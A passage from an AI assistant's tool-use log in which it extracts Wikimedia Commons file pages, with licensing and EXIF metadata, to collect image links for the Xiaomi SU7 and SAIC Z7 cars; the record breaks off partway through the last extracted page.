data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Xiaomi SU7](https://www.wikidata.org/wiki/Special:EntityPage/Q123470261 \"d:Special:EntityPage/Q123470261\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[object of statement has role](https://www.wikidata.org/wiki/Special:EntityPage/P3831 \"d:Special:EntityPage/P3831\"): [photographer](https://www.wikidata.org/wiki/Special:EntityPage/Q33231 \"d:Special:EntityPage/Q33231\")\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): Artur Random\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [Artur Random](https://meta.wikimedia.org/wiki/Special:CentralAuth/Artur%20Random)\n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 12 September 2024\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 55°40'50.624\"N, 37°32'18.589\"E\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.00384615384615384615 second\n\n#### [f-number](https://www.wikidata.org/wiki/Special:EntityPage/P6790 \"d:Special:EntityPage/P6790\")\n\n#### 1.77999997138806510359\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.76499986565279307843 millimetre\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### [instance of](https://www.wikidata.org/wiki/Special:EntityPage/P31 \"d:Special:EntityPage/P31\")\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Number 075 on vehicle registration plates](/wiki/Category:Number_075_on_vehicle_registration_plates \"Category:Number 075 on vehicle registration plates\")\n* [Lomonosovsky District](/wiki/Category:Lomonosovsky_District \"Category:Lomonosovsky District\")\n* [Xiaomi automobiles in Moscow](/wiki/Category:Xiaomi_automobiles_in_Moscow \"Category:Xiaomi automobiles in Moscow\")\n\nHidden categories:\n\n* [Images with extracted images](/wiki/Category:Images_with_extracted_images \"Category:Images with extracted images\")\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n\nFile:Xiaomi SU7 Max.jpg\n\n[Add topic](#)\n=================================================="}}, "tool_call_id": "tool_fCXxabfP9kYn3dAkbUC4Mc3C", "name": "extract_webpage"}, {"role": "assistant", "reasoning_content": "拿到了小米SU7 Max的直链:\n- 缩略图:https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg\n- 原图:https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg\n\n这张图是竖构图(2626×2839),莫斯科拍的,蓝色/灰色?不确定颜色。搜索结果里还有 \"Xiaomi SU7 purple front view\" 紫色正面图,小米SU7经典颜色是霞光紫/海湾蓝。这张竖图可能展示效果好。\n\n再提取尚界Z7的文件页拿直链:\n- File:SAIC Z7 MY2026 IMG01.jpg\n- 也可以看 Category:SAIC Z7 里有什么图\n\n同时可以提取小米SU7的另一张(比如紫色正面图)备用或一起展示。\n\n计划:\n1. extract_webpage: https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n2. extract_webpage: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n\n并行。", "content": "小米SU7的直链已拿到。现在提取尚界Z7和另一张小米SU7的图片直链。", "timestamp": "2026-08-23T13:34:28.495305", "message_id": "msg_6ee1fecfd4a44b29844114fa83278c2f", "metadata": {"model_key": "Kimi-K3"}, "tool_calls": [{"id": "tool_LfzCYaq6KyANzRYn3Kqnwxp0", "index": 0, "type": "function", "function": {"name": "extract_webpage", "arguments": "{\"intent\": \"提取尚界Z7图片直链\", \"url\": \"https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\"}"}}, {"id": "tool_s8y6Z46TAOkPWLQDTamLtGzy", "index": 1, "type": "function", "function": {"name": "extract_webpage", "arguments": "{\"intent\": \"提取小米SU7紫色正面图\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\"}"}}]}, {"role": "tool", "content": "提取完成:https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg,长度 10573 字符。\n```\n🌐 网页内容 (10380 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:SAIC Z7 MY2026 IMG01.jpg\n\n* [File](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:SAIC_Z7_MY2026_IMG01.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:SAIC_Z7_MY2026_IMG01.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:SAIC_Z7_MY2026_IMG01.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&oldid=1262740536 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&id=1262740536&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3ASAIC_Z7_MY2026_IMG01.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M195602733 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:SAIC Z7 MY2026 IMG01.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20260713070106)](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 248 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/330px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 960 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/1280px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,714 × 2,786 pixels](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"SAIC Z7 MY2026 IMG01.jpg\") (3,714 × 2,786 pixels, file size: 3.69 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSAIC Z7 MY2026\n\n## Summary\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionSAIC Z7 MY2026 IMG01.jpg | **English:** SAIC Z7 MY2026 |\n| Date | |\n| Source | Own work |\n| Author | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n| | |\n| --- | --- |\n| Creative Commons CC-Zero | This file is made available under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [CC0 1.0 Universal Public Domain Dedication](https://creativecommons.org/publicdomain/zero/1.0/deed.en \"ccorg:publicdomain/zero/1.0/deed.en\"). |\n| The person who associated a work with this deed has dedicated the work to the [public domain](https://en.wikipedia.org/wiki/en:public_domain \"w:en:public domain\") by waiving all of their rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law. You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission. http://creativecommons.org/publicdomain/zero/1.0/deed.enCC0Creative Commons Zero, Public Domain Dedicationfalsefalse |\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [07:01, 13 July 2026](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 3,714 × 2,786 (3.69 MB) | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") ([talk](/wiki/User_talk:Poprace \"User talk:Poprace\") | [contribs](/wiki/Special:Contributions/Poprace \"Special:Contributions/Poprace\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on de.wikipedia.org\n + [Shangjie (Automarke)](https://de.wikipedia.org/wiki/Shangjie_(Automarke))\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 12:25, 13 July 2026 |\n| Lens focal length | 6.86 mm |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [26.5](https://en.wikipedia.org/wiki/Special:Search?search=26.5) |\n| File change date and time | 12:25, 13 July 2026 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 12:25, 13 July 2026 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 11.717249456249 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 9.5423895899054 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 839 |\n| DateTimeDigitized subseconds | 839 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.1241635687732 |\n| Focal length in 35 mm film | 54 mm |\n| Scene capture type | Standard |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Saic Z7](https://www.wikidata.org/wiki/Special:EntityPage/Q137919999 \"d:Special:EntityPage/Q137919999\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 13 July 2026\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 64\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0002970002970003 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Category](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [SAIC Z7](/wiki/Category:SAIC_Z7 \"Category:SAIC Z7\")\n\nHidden categories:\n\n* [CC-Zero](/wiki/Category:CC-Zero \"Category:CC-Zero\")\n* [Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license](/wiki/Category:Creative_Commons_CC0_1.0_Universal_Public_Domain_Dedication_missing_SDC_copyright_license \"Category:Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Self-published work missing SDC copyright license](/wiki/Category:Self-published_work_missing_SDC_copyright_license \"Category:Self-published work missing SDC copyright license\")\n\nFile:SAIC Z7 MY2026 IMG01.jpg\n\n[Add topic](#)\n==================================================\n```", "timestamp": "2026-08-23T13:34:31.860896", "message_id": "msg_47a1a74af3754c9da826bfc0054a22b7", "metadata": {"tool_payload": {"success": true, "url": "https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg", "content": "🌐 网页内容 (10380 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:SAIC Z7 MY2026 IMG01.jpg\n\n* [File](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:SAIC_Z7_MY2026_IMG01.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:SAIC_Z7_MY2026_IMG01.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:SAIC_Z7_MY2026_IMG01.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&oldid=1262740536 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&id=1262740536&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3ASAIC_Z7_MY2026_IMG01.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M195602733 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:SAIC Z7 MY2026 IMG01.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20260713070106)](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 248 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/330px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 960 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/1280px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,714 × 2,786 pixels](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"SAIC Z7 MY2026 IMG01.jpg\") (3,714 × 2,786 pixels, file size: 3.69 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSAIC Z7 MY2026\n\n## Summary\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionSAIC Z7 MY2026 IMG01.jpg | **English:** SAIC Z7 MY2026 |\n| Date | |\n| Source | Own work |\n| Author | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n| | |\n| --- | --- |\n| Creative Commons CC-Zero | This file is made available under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [CC0 1.0 Universal Public Domain Dedication](https://creativecommons.org/publicdomain/zero/1.0/deed.en \"ccorg:publicdomain/zero/1.0/deed.en\"). |\n| The person who associated a work with this deed has dedicated the work to the [public domain](https://en.wikipedia.org/wiki/en:public_domain \"w:en:public domain\") by waiving all of their rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law. You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission. http://creativecommons.org/publicdomain/zero/1.0/deed.enCC0Creative Commons Zero, Public Domain Dedicationfalsefalse |\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [07:01, 13 July 2026](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 3,714 × 2,786 (3.69 MB) | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") ([talk](/wiki/User_talk:Poprace \"User talk:Poprace\") | [contribs](/wiki/Special:Contributions/Poprace \"Special:Contributions/Poprace\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on de.wikipedia.org\n + [Shangjie (Automarke)](https://de.wikipedia.org/wiki/Shangjie_(Automarke))\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 12:25, 13 July 2026 |\n| Lens focal length | 6.86 mm |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [26.5](https://en.wikipedia.org/wiki/Special:Search?search=26.5) |\n| File change date and time | 12:25, 13 July 2026 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 12:25, 13 July 2026 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 11.717249456249 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 9.5423895899054 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 839 |\n| DateTimeDigitized subseconds | 839 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.1241635687732 |\n| Focal length in 35 mm film | 54 mm |\n| Scene capture type | Standard |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Saic Z7](https://www.wikidata.org/wiki/Special:EntityPage/Q137919999 \"d:Special:EntityPage/Q137919999\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 13 July 2026\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 64\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0002970002970003 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Category](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [SAIC Z7](/wiki/Category:SAIC_Z7 \"Category:SAIC Z7\")\n\nHidden categories:\n\n* [CC-Zero](/wiki/Category:CC-Zero \"Category:CC-Zero\")\n* [Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license](/wiki/Category:Creative_Commons_CC0_1.0_Universal_Public_Domain_Dedication_missing_SDC_copyright_license \"Category:Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Self-published work missing SDC copyright license](/wiki/Category:Self-published_work_missing_SDC_copyright_license \"Category:Self-published work missing SDC copyright license\")\n\nFile:SAIC Z7 MY2026 IMG01.jpg\n\n[Add topic](#)\n=================================================="}}, "tool_call_id": "tool_LfzCYaq6KyANzRYn3Kqnwxp0", "name": "extract_webpage"}, {"role": "tool", "content": "提取完成:https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg,长度 15096 字符。\n```\n🌐 网页内容 (14878 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 Metadata](#metadata)\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n* [File](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View 